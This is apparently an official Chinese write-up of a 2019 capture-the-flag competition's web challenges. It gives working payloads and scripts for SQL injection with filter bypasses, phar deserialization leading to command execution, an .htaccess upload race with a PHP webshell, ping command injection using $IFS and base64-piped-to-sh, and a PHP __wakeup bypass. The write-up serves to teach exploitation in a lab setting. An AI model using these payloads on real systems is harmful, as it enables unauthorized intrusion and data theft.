2019 GXY_CTF Web 官方 Write Up

2

首先因为这个题目其实是校内招新赛,所以可能比较简单(ak的V&N师傅们tql),也有些师傅说部分题目分数设计不太合理,作为主办方这些我们也进行了反思,希望下次能让师傅们满意(如果还有下次的话233333),这次比赛大家快乐就完事儿了。现在比赛结束了,我们能做的也就是尽量吧wp整理得完善一些,尽量让萌新们有所提高,顺便聊一聊比赛中出现的非预期情况。

BabySqli

  • tags : 万能密码登陆,SQL注入
  • 难度:入门
  • 这个题目其实就是一个万能密码题,但是可能题目描述不太到位,有些大佬用sqlmap直接拖库了,发现数据库里面没有flag,就以为要爆破md5,谢罪谢罪。
  • 题目提示了用md5做哈希,fuzz可以知道admin是账号
  • 题目过滤了小括号、or和=,没有过滤union,用union万能密码绕过即可
# username:
 -1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
# password:
 123

BabySqli 2

  • tags : 宽字节注入,过滤0x,union select where置空
  • 难度:简单
  • 题目提示了支持中文,就可以想到宽字节,登陆之后发现有一个显示位,那拿flag的姿势就很多了。
# 显示database
# 由于0x被过滤,使用char()构造admin
# 除了char()之外,看到有的师傅使用unhex()函数,原理相同
name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database()%23&pw=1

# 显示表名
# 双写绕过union select where等字段
name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(table_name)%20from%20information_schema.tables%20whwhereere%20table_schema%20=%20database()%23
    
# 显示f14g列名
# char()写入f14g,或者再使用宽字节也可以
name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(column_name)%20from%20information_schema.columns%20whwhereere%20table_name%20=%20char(102,49,52,103)%23
    
# 拿到flag
name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(327a6c4304ad5938eaf0efb6cc3e53dc)%20from%20f14g%23
  • base64解码即可得到一堆歌词和flag23333
  • 题外话:
    • flag数据库里面放歌词是为了增加盲注成本,有的大佬可能有一些万能盲注脚本,怕改个参数直接跑,还是希望师傅们具体问题具体分析,像这种脏数据多的可以用报错或者手工注
    • 这题的数据库列名构造过,分别是id和flag的md5值,所以有的师傅用updatexml报错注入只能得到第一个md5因为updatexml返回最大长度就是32),顺便提一句,某些师傅的脑洞是真的大,用updatexml只注出来一个列名以为这是个脑洞题,吧id的md5解出来之后,愣是硬猜出来另一个列名是flag的md5 ∑(っ°Д°;)っ
    • 其实updatexml可以和substr配合,做到任意位读取
    • 本身这题跟sqli1一样啥都没有,纯白板的,但是考虑到怕师傅们做题太无聊,于是就加了个动图给师傅们解解闷儿
    • 赛后想了想,既然师傅们都习惯使用updatexml,不如把flag最后几位调成特殊字符,让师傅们猜不出来,还不知道哪里有问题,又能搞一波心态233333
  • 报错注入payload:
# Author Y1ng
# 爆数据库
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1,database()),1) --+&pw=y1ng
# Error: XPATH syntax error: 'web_sqli'

# 查表名
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(table_name) from information_schema.tables whWHEREere table_schema=database() limit 0,1)),1) --+&pw=y1ng
# Error: XPATH syntax error: 'f14g,user'

# 查列名
http://172.21.4.12:10012/search.php?name=admin%df%27%20and%20updatexml(1,concat(1,%20(seSELECTlect%20group_concat(column_name)%20from%20information_schema.columns%20wherWHEREe%20TABLE_NAME=char(102,49,52,103))),1)%20--+&pw=y1ng
# Error: XPATH syntax error: 'b80bb7740288fda1f201890375a60c8f'

# 查字段
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 0,1),1),1) --+ &pw=y1ng
# Error: XPATH syntax error: 'VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr'

# 查flag
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1),1) --+ &pw=y1ng
# Error: XPATH syntax error: 'R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0'

BabySqli 3

  • tags : 弱口令登陆,filter读源码,phar反序列化
  • 难度:中等
  • emmmm没错这题不是SQL注入,甚至都没有数据库233333
  • 题目提示了绝对防御,在登录页查看源码可以看到<!-- u9db8 -->,可以用Unicode解码得到鶸,说明这是一个弱口令,并不是注入题
  • 用弱口令字典可以跑出来,账号口令是admin/password,即可成功登陆
  • 登陆发现是一个文件上传,简单操作后发现只能上传txt文件;然后发现url里有引用,猜测可能存在LFI(Local File Include),使用filter协议可以看网站源码。
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	
	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>
  • 审计源码得知上传操作是使用类来完成,在类中会判断上传文件是否合法,在销毁类的时候自动调用__destruct执行相关命令。因此可以用反序列化更改掉相关命令来达到任意命令执行。
  • 可能有萌新会问,这个题目代码中没有unserialize()如何反序列化呢?其实这是一个phar的feature, PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,既然是打包文件,就肯定会对相应的class进行序列化存储,再在执行某些函数或者需要调用数据的时候自动反序列化,很多函数都可以自动反序列化phar文件,最最常见的莫过于file_get_contents()file_put_contents(),具体哪些函数受影响请参考 seaii 师傅的博客 https://paper.seebug.org/680/
  • 此外,phar还有一个特点,无需特定的文件后缀,即使使用txt格式的后缀只要文件内容是phar的格式即可被php识别为phar文件,可以利用这个feature上传txt文件构造反序列化。
  • 理解了原理这题就非常简单,只要构造一个phar反序列化文件,将命令替换为getflag操作,再把检查的token替换为服务器分发的,最后控制文件名进行反序列化操作,达到任意命令执行的目的。
  • exp:
# phar_gen.php
# Author : imagin
# 使用时请将上文中的对象代码粘贴到本代码之前

<?php
@unlink("exp.phar");
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Uploader();
$o->token = "GXYb4b627c1236f2c1b9463e18e0e7bfe30";
$o->cmd = "echo file_get_contents('./flag.php');";
$o->Filename = "phar://uploads/909c00f0b41f82ef8c579546b5ed765e/GXYb4b627c1236f2c1b9463e18e0e7bfe30.txt";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
?>

控制url中的file字段即可实现任意命令执行:

  • 非预期解:
    • 直接上传php文件可还行
  • 非预期造成的原因:
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name']))
  • emmm这个正则本意是匹配name里面的data:// filter:// php://.,为了代码美观一点,所以在管道符旁边加了空格,就没注意这是在正则里面,然后正则匹配的就是0x20.(0x20表示空格),大佬也在wp里面吐槽了这件事。
  • 所以大家以后写正则一定不要手贱啊~~o(>_<)o ~~



BabyUpload

  • tags : 文件上传,条件竞争
  • 难度 : 简单
  • 一个简单的上传题,服务器隔三秒会删除./upload文件夹的所有内容。
  • 随便上传发现文件后缀ph被拦截,php3、phtml都不能使,随便搞出来一个404得知是apache服务器,可以使用.htaccess文件改变文件解析配置,使得服务器可以把jpg当做php解析,从而命令执行;此外,服务器会检查文件内容是否包含<?(可以fuzz出来),要使用<script></script>格式编写php代码。因此,本题上传.htaccess文件修改apache的解析,再把一句话木马后缀改为jpg即可
  • 普通青年解法:
    • 上脚本,直接跑出来
# upload_exp.py
# Author : imagin

import requests
url = "http://172.21.4.12:10011/"
session = requests.session()
htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')}
res_hta = session.post(url, files = htaccess)

files = {'uploaded': ('123.jpg', "<script language=\"php\">echo file_get_contents(\"/flag\");</script>", 'image/jpeg')}
res_jpg = session.post(url, files = files)

res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'})

print(res_shell.text)
  • 文艺青年解法:
    • 多线程脚本,别问,问就是多线程!
  • 快乐青年解法:
    • 条件竞争?没事儿我人多!
    • 一个人负责传.htaccess,一个人负责传exp.jpg,最后一个老哥专门读flag23333。手速才是王道!
  • 本来想放一个hint,给出删文件的脚本地址(群里有大佬一直在问是不是环境坏了),但是后来很多大佬都做出来了就没放23333

Ping Ping Ping

  • tags : 命令执行,过滤%00-%32,过滤特殊符号,过滤flag
  • 难度 : 中等
  • 这个题因为要ping一下,所以当并发量比较大的时候会卡,而且有的大佬报复性扫描,所以中间重启了好几次(╯‵□′)╯︵┻━┻
  • 这个题目首先过滤了符号,但是过滤不严格,可以使用管道符和;,因此可以使用这两个符号来拼接命令;其次过滤了空格,可以使用$IFS$9来替代空格;最后过滤了flag,这个过滤比较严格,具体的正则是.*f.*l.*a.*g.*,可以通过base64来绕过,或者用变量名拼接绕过。
  • payloadbase64版本 :
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
  • payloadbash版本 :
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

Do You Know Robots

  • tags : 反序列化、robots协议
  • 难度 : 简单
  • 打开是一个无情的报菜名机器,题目提示robots协议,可以看到备份文件index.php~,下载源码
<?php 
class FileReader{
	public $Filename;
	public $start;
	public $max_length;
	function __construct(){
		$this->Filename = __DIR__ . "/bcm.txt";
		$this->start = 12;
		$this->max_length = 72;
	}

	function __wakeup(){
		$this->Filename = __DIR__ . "/fake_f1ag.php";
		$this->start = 10;
		$this->max_length = 0;
	}

	function __destruct(){
		$data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length);
		if(preg_match("/\{|\}/", $data)){
			die("you can't read flag!");
		}
		else{
			echo $data;
		}
	}
}

if(isset($_GET['exp'])){
	if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){
		die("hack!");
	}
	$exp = $_REQUEST['exp'];
	$e = unserialize($exp);
	echo $e->Filename;
}
else{
	$exp = new FileReader();
}
?>
  • 审源码可以得知这是个标准的反序列化题目,变量名都是public类型(注意如果是private类型需要增加\0),主要功能是将文件上传和报菜名2333
  • 网页使用$_GET方法传参,但是会正则匹配.?f.?l.?a.?g.?,导致不可以读flag,但是仔细审计就会发现问题,真正的$exp是接受的$_REQUEST['exp']的,针对这种使用$_REQUEST[]接收参数的代码,如果同时使用getpost两种方式传相同类型的参数,那么post的参数会覆盖掉get的参数,最终$_REQUEST[]接受的参数是post过来的
  • 上面可能有些拗口,实际举个例子就是url?a=1,同时用post发送a=2,在服务器使用$_REQUEST['a']接受参数,最后$_REQUEST['a']的值是2,大家可以自己动手做做实验。
  • 此外,__wakeup()会在反序列化的时候自动调用,会复写掉文件,这时候就要请出 CVE-2016-7124,只要让成员属性数目大于实际数目时就可以绕过__wakeup()方法因此我们可以构造paylaod:
# get
?exp=1
# post
exp=O:10:"FileReader":4:{s:8:"Filename";s:22:"/var/www/html/flag.php";s:5:"start";i:21;s:10:"max_length";i:17;}

禁止套娃!

  • tags : .git源码泄露,php套娃命令执行
  • 难度 : 中等
  • 这是一道bytes的改编题,主要考察无参数的套娃命令执行
  • 首先可以扫描目录,发现.git/文件夹,直接githack走一波搞源码
  • 这个题目的主要矛盾在于搞定正则
(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp']))
  • 这个正则的合法匹配是类似a(b());这种无参数的命令套娃,pdsdt师傅曾经总结过可以合法执行的函数,大佬们可以看 http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/ (这次比赛pdsdt师傅也参加了,在这里膜一下)
  • 之后访问一下flag.php,发现没有404,可以确定flag就在flag.php中,先使用scandir()查看当前目录情况,可以使用pos(localeconv());构造一个.出来,用print_r()输出,即可得到当前的目录文件情况。
  • 可以看到flag.php在倒数第二个,后面的步骤就是如何读取到flag.php,首先我们知道next()函数可以读取数组中第二个元素,但是flag在倒数第二个,这时候用一个array_reverse()函数将数组翻转,再读取next即可读取到flag文件,最后使用show_source()可以显示php代码,即可拿到flag。
  • 完整的payload:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

About the author

Add comment

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.